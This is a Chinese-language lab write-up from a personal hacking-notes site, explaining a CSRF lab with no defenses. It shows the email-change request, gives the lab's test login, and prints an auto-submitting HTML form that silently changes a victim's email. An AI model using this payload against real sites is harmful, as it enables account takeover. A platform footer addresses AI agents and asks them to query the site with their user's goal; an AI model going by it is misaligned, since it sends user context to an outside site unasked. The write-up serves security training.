> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-vulnerability-with-no-defenses.md).

# 未受保护的 CSRF 漏洞

### 没有防护的 CSRF 漏洞

#### 描述

这个实验中的邮箱修改功能存在 CSRF 攻击漏洞。目标是伪造一个客户端请求，在未经同意的情况下修改受害用户的电子邮件地址。

#### 目标

创建可执行 CSRF 攻击以更改访问者电子邮件地址的 HTML 内容，然后将该内容上传到你的利用服务器。

#### 标识符

你可以使用以下账户登录：/ **wiener: peter**

<figure><img src="/files/03e3712fd5b1321f2b2a9be4b6ce093e2b5a1832" alt=""><figcaption></figcaption></figure>

在拦截时可以观察到，更改邮箱的请求是一个简单的 POST 请求，接受 `email` 参数。没有任何 CSRF 防护（没有令牌、没有来源校验等），因此可以从托管在利用服务器上的页面自动提交该表单。

#### 要上传到利用服务器的有效载荷 HTML

以下 HTML 会创建一个指向邮箱修改 URL 的表单，并在页面加载时自动提交：

```html
<form class="login-form" name="change-email-form" action="https://0a8500d803454f6280a003f700b700a3.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="email" name="email" value="admin@hacked.com">
</form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-vulnerability-with-no-defenses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.